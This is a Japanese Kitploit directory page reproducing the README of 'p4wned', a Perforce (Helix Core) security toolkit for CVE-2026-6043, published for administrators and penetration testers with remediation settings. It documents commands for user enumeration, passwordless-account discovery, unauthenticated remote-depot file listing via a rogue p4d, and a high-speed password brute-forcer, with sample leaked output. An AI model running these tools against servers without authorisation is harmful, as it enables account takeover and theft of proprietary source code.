Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
p4wned — Perforceのセキュリティ研究とツール - CVE-2026-6043 | Kitploit
ツール/GitHubGitHub/flyingllama87/p4wned
偵察脆弱性スキャナーウェブ脆弱性スキャナーエクスプロイトフレームワークパスワード攻撃エクスプロイト情報収集ペネトレーションテスト設定ミス
GitHubflyingllama87/p4wned

p4wned

Perforceのセキュリティ研究とツール - CVE-2026-6043

22ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
ウェブサイト

P4WNED(CVE-2026-6043)

Perforce(Helix Core)のセキュリティ研究ツールとnucleiテンプレート。

研究記事: https://morganrobertson.net/p4wned/

詳細は上記をご覧ください。

許可されたターゲットのみ。自分のサーバー、または明示的な書面による許可を得て使用してください。

対象読者: Perforceサーバー管理者、ペネトレーションテスター、セキュリティエンジニア

2026年5月更新: Perforce 2026.1がリリースされました。このバージョンはセキュアなデフォルト設定で出荷されています!開発者のIPを保護するためにこのリリースが行われたことを大変嬉しく思います。詳細はこちら。

注: これらのツールは、CVE-2026-6043 に起因する設定ミスをスキャンします。


必要条件

ツール必要条件
p4wned.pyPython 3, p4 CLI バイナリ(下記参照)
p4ghost.pyPython 3, p4 CLI バイナリ, ローカル p4d インスタンス(下記セットアップ参照)
p4-auth-hammerg++, Perforce C++ API, OpenSSL 1.1.1(p4-auth-hammer/README.md 参照)
JavaScript ツールNode.js(外部依存関係なし)
Nuclei テンプレートNuclei v3+
Metasploit モジュールMetasploit Framework

p4バイナリの入手(p4wned.py および p4ghost.py で必要):

root@kitploit:~
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4

背景

PerforceサーバーはカスタムバイナリTCPプロトコル(デフォルトポート1666)を公開しています。多くのインストールは安全でないデフォルト設定で出荷されています — 認証なしのユーザー一覧表示、サーバー情報公開、アクセス可能なリモートデポ、パスワード不要、ログイン試行のレート制限なし。ここにあるすべてのツールは、認証情報を必要とせずにこれらのデフォルト設定を悪用します。


ツール

p4wned.py — フルセキュリティスキャナ

主要スキャナです。p4 CLI バイナリを使用してユーザー列挙、認証情報のテスト、デポ一覧取得、レポート生成を行います。

root@kitploit:~
python3 p4wned.py [-brute] [-audit] [-parallel N]

オプション:

フラグ説明
-bruteブルートフォースモードを有効にする — 発見された全ユーザーアカウントに対してパスワードをテスト
-audit徹底監査モード — 脆弱性発見後も全ユーザーをテストし続ける
-parallel N並列パスワード試行数(デフォルト: 1)

設定(スクリプト上部で編集):

機能:

  • ASCII と unicode サーバーモードの検出
  • ユーザー列挙(run.users.authorize=0 の場合)
  • 空パスワードと既知/一般的な認証情報のテスト
  • デポ名の一覧表示と最近のファイルパスのサンプリング
  • 侵害されたアカウントの super グループメンバーシップ確認
  • 構造化テキストレポートの出力

コンソール出力:

root@kitploit:~
$ python3 p4wned.py

                   ___ _  _  __    __    __  __  ___ 
                  / _ \ || |/ / /\ \ \/\ \ \/__\/   \
                 / /_)/ || |\ \/  \/ /  \/ /_\ / /\ /
                / ___/|__   _\  /\  / /\  //__/ /_// 
                \/       |_|  \/  \/\_\ \/\__/___,'  

P4WNED - 0wning P4 servers via shit security defaults since Y2K+25

 · Sniffs out user accounts, blank passwords, weak creds, and dumb settings.
 · Confirms depots access and those juicy "super" user accounts.
 · Drops a tidy report so you can fix the mess before the Skids arrive

Authorised targets only, brotendo. Use on your own servers or at your own risk.
==============================================================================


=== Processing: 192.0.2.10:1666 (perforce.example-studio.com) ===

[INFO] Testing user 'super' for security issues...
[INFO] User 'super' does not exist.

[INFO] Users listing accessible: build, designer1, jsmith, lead_prog, svc_build

[INFO] Testing user 'build' for security issues...
[INFO] Testing user 'designer1' for security issues...
[INFO] Testing user 'jsmith' for security issues...
[INFO] Testing user 'lead_prog' for security issues...
[INFO] Testing user 'svc_build' for security issues...

[INFO] Added new credential for 192.0.2.10:1666: user='svc_build', password='None'
[INFO] Saving updated credentials after finding valid credentials for svc_build on 192.0.2.10:1666

[INFO] Report saved to perforce-report-p4wned-1775436520.txt

レポートファイル(perforce-report-p4wned-*.txt):

root@kitploit:~
Perforce Security Scan Report

Server: 192.0.2.10:1666 (perforce.example-studio.com)
  Status: Insecure
  Note: Insecure via user 'svc_build' (no password)

  == Depots ==
Depot depot 2025/11/03 local depot/... 'Default depot'
Depot assets 2024/08/19 local assets/... 'Asset depot'

  == Last 10 Changes ==
Change 1047 on 2025/11/03 14:22:11 by lead_prog@DESKTOP-BUILD01

        Merge branch feature/ai-pathfinding

Change 1046 on 2025/11/03 09:44:38 by designer1@DESKTOP-ART02

        Updated character rig exports

  == Depot Details ==

  Depot: depot
    -- Root Directories --
    //depot/Source
    //depot/Content
    //depot/Config
    This depot is a non-Unreal Engine Depot.

------------------------------------------------------------

Summary Report

Server: 192.0.2.10:1666 - Insecure - Note: Insecure via user 'svc_build' (no password)

p4ghost.py — リモートデポスキャナ

隠し remote ユーザーを介した認証なしのリモートデポアクセスをテストします。このエクスプロイトは、攻撃者が制御するローカル p4d インスタンスを実行することで動作します — ターゲットサーバーがサーバー間プロトコルの一部として接続を返し、その過程でデポファイル一覧が漏洩します。

セットアップ(初回のみ):

root@kitploit:~
# Subject to Perforce terms of use: https://www.perforce.com/legal
wget https://ftp.perforce.com/perforce/r24.2/bin.linux26x86_64/p4d
wget https://ftp.perforce.com/perforce/r25.2/bin.linux26x86_64/p4
chmod +x p4d p4

# Start a plain ASCII p4d on port 1818 (used as the attacker's server)
mkdir p4root_attacker
./p4d -r ./p4root_attacker -p 1818 -d

# Start a unicode p4d on a separate port (1819) for unicode targets
mkdir p4root_attacker_unicode
./p4d -r ./p4root_attacker_unicode -xi   # convert to unicode mode
./p4d -r ./p4root_attacker_unicode -p 1819 -d
root@kitploit:~
python3 p4ghost.py <input_file> [-skipnolicense] [-report FILE] [-p4cmd PATH]
                   [-unicodeport PORT] [-nonunicodeport PORT] [-timeout SECS]
root@kitploit:~
# Example invocation using the local attacker servers above
python3 p4ghost.py targets.txt -nonunicodeport 1818 -unicodeport 1819

引数:

影響を受けるバージョン: 2025.1 未満で security < 4(デフォルトは0)のすべてのバージョン。


p4-auth-hammer — ブルートフォースPoC(C++)

security < 3 の場合に p4d が認証試行を効果的にレート制限しないことを示す概念実証。Perforce C++ API を使用して、単一アカウントに対して毎分30万回以上のログイン試行を達成します。

root@kitploit:~
./p4_auth_hammer_poc <server:port> <username> <password_file> [-ticketauth]

ビルド(Perforce C++ API および OpenSSL 1.1.1 が必要 — 完全なセットアップは p4-auth-hammer/README.md を参照):

root@kitploit:~
bash p4-auth-hammer/p4_auth_hammer_poc_build.sh

モード:

  • デフォルト: 直接パスワード認証(security < 3)。レート制限は完全にバイパスされます。毎分30万回以上の試行。
  • -ticketauth: チケットベースのログイン(security >= 3)。このレベルではレート制限(dm.user.loginattempts)が有効です。

SSL および unicode サーバーを自動検出します。最大スループットのためにスレッド数を自動調整します。

修復方法: p4 configure set security=3(または4)。詳細は p4-auth-hammer/README.md を参照してください。


JavaScriptツール

スタンドアロンのNode.jsスクリプト。Node.js標準ライブラリ以外の依存関係はありません。すべてのスクリプトはSSLとプレーンTCP、ASCIIとunicodeサーバーモードを自動検出します — フラグは不要です。

ターゲットファイル形式: host:port を1行に1つ、ポートを省略した場合はデフォルトで1666になります。# で始まる行は無視されます。

root@kitploit:~
p4testascii.example.net:1666
p4testunicode.example.net:1666
p4testunicode.example.net:1667

自動検出: まずプレーンTCPが試行されます。サーバーがPerforce SSLエラーメッセージ("Failed client connect, server using SSL")を返した場合、接続は rejectUnauthorized: false(自己署名証明書を受け入れる)でTLS上で再試行されます。最初にASCIIモードが試行され、サーバーがunicodeエラーメッセージを返した場合、接続は unicode パラメータで再試行されます。


perforce-users.js — ユーザー列挙

run.users.authorize=0(デフォルト)を悪用して、認証なしで全ユーザーアカウントを一覧表示します。

root@kitploit:~
node javascript/perforce-users.js [targets_file]

出力: [host:port] [tcp|ssl] username <email> "Full Name"


perforce-info.js — サーバー情報公開

dm.info.hide=0(デフォルト)を悪用して、サーバーバージョン、内部アドレス、ルートパス、ライセンス文字列を抽出します。

root@kitploit:~
node javascript/perforce-info.js [targets_file]

出力:

root@kitploit:~
[host:port] [tcp|ssl]
  Version    : P4D/LINUX26X86_64/2024.2/2877946
  Server Addr: internal-hostname:1666
  Server Root: /opt/perforce/p4root
  License    : Acme Corp

perforce-passwordless.js — パスワードなしアカウント検出

パスワードが設定されていないユーザーアカウントを発見します。タグ付け出力形式(tag パラメータ)を使用して、ユーザーレコードに Password フィールドがないことを検出します。パスワードなしアカウントは認証なしの直接ログインを許可します。

root@kitploit:~
node javascript/perforce-passwordless.js [targets_file]

出力: [host:port] [tcp|ssl] [PASSWORDLESS] username <email> "Full Name"


perforce-remote.js — リモートデポファイル列挙

隠し remote ユーザーを介して rmt-DbPipe サーバー間RPCを悪用し、db.rev テーブルを直接読み取り、認証なしでデポファイルパスとチェンジ番号を抽出します。影響を受けるバージョン: 2025.1 未満で security < 4。

root@kitploit:~
node javascript/perforce-remote.js [targets_file]

出力:

root@kitploit:~
[host:port] [tcp|ssl] 42 file(s) in depot:
  [change=7] [2024-11-03] //depot/src/main.cpp
  [change=3] [2024-09-12] //depot/config/database.yml

perforce-keys.js — グローバルキー列挙

Perforceサーバーからグローバルキー/カウンター値を抽出します。キーにはビルド番号、内部バージョン文字列、設定が含まれる場合があります。

root@kitploit:~
node javascript/perforce-keys.js [targets_file]

出力: [host:port] [tcp|ssl] keyname = value


Nucleiテンプレート

Nuclei 用のテンプレート。すべてのテンプレートはTCPゲートステップを使用して、JavaScriptペイロードを実行する前にPerforceサーバーが存在することを確認します。テンプレートはJavaScriptツールと同じ自動検出アプローチを使用します。

root@kitploit:~
nuclei -t nuclei-templates/ -u target:1666
nuclei -t nuclei-templates/ -l targets.txt

検出

テンプレートID説明
perforce-detect.yamlperforce-detectionバイナリプロトコルハンドシェイクを介してPerforceサーバーを検出します。重要度: info。

脆弱性テンプレート

制限: SSL非対応、ポート1666のみ。詳細はJavaScriptツールを参照してください。


Metasploitモジュール

Metasploit Framework 用の3つの補助スキャナモジュールと、Perforceバイナリプロトコルを処理する共有ライブラリミックスイン。これらのモジュールは、上記のスタンドアロンツールと同じ脆弱性(ユーザー列挙、パスワードなしアカウント検出、リモートデポ悪用)をカバーします。

すべてのモジュールはASCIIとunicodeサーバーモードを自動検出します。SSLに対応しています。

モジュール説明
auxiliary/scanner/perforce/perforce_user_enum認証なしのユーザー一覧表示 — ユーザー名、メール、フルネーム、最終アクセス時刻を抽出します。

ソースファイルは metasploit/ ディレクトリにあります。Metasploit FrameworkにPRが提出されています。


修復クイックリファレンス:

ツールをダウンロード
変数説明
INPUT_FILEターゲットリスト(ip:port、1行に1つ)— デフォルト perforce-servers.txt
P4_CMDp4 バイナリへのパス — デフォルト ./p4
TOP_PASSWORDS_FILEブルートフォース用ワードリスト — デフォルト top-passwords.txt
KNOWN_CREDS_FILE最初に試す既知の認証情報ペア
REPORT_FILE出力レポートパス
フラグ説明
input_fileターゲットリスト(ip:port、1行に1つ)
-skipnolicenseServer license: none を返すサーバーをスキップ
-report FILE出力レポートパス
-p4cmd PATHp4 バイナリへのパス(デフォルト ./p4)
-unicodeport PORT攻撃者サーバーとして使用するローカル unicode p4d ポート
-nonunicodeport PORTローカル非 unicode p4d ポート
-timeout SECSコマンドタイムアウト
テンプレートID重要度CVSS説明
perforce-user-extraction.yamlperforce-user-enumerationMedium5.3認証なしのユーザー一覧表示 — ASCIIおよびunicodeサーバー。ユーザー名、メール、フルネームを抽出します。
perforce-info-disclosure.yamlperforce-info-disclosureMedium5.3サーバー情報公開 — バージョン、内部アドレス、ルートパス、ライセンス。
perforce-passwordless-users.yamlperforce-passwordless-usersCritical9.1パスワードが設定されていないアカウントを発見します。
perforce-remote-depot-unauth.yamlperforce-remote-depot-access-unauthHigh7.5remote ユーザーを介したリモートデポアクセス — ASCIIおよびunicodeサーバー。ファイルパスとチェンジ番号を抽出します。影響を受けるバージョン: < 2025.1 で security < 4。
auxiliary/scanner/perforce/perforce_passwordless
パスワードが設定されていないアカウントを検出します。
auxiliary/scanner/perforce/perforce_remote_depot隠し remote ユーザーを介したリモートデポファイル列挙。影響を受けるバージョン: < 2025.1 で security < 4。
発見事項修正方法
ユーザー列挙p4 configure set run.users.authorize=1
情報公開p4 configure set dm.info.hide=1
パスワードなしユーザーすべてのアカウントにパスワードを設定; p4 configure set dm.user.noautocreate=2
リモートデポアクセス2025.1+ にアップグレード、または p4 configure set security=4
認証レート制限p4 configure set security=3(dm.user.loginattempts による効果的なロックアウトを有効化)
上記すべてp4 configure set security=4 に加えて個別の設定 — security=4 はリモートエクスプロイトを修正しますが、ユーザー一覧表示やサーバー情報は非表示にしません。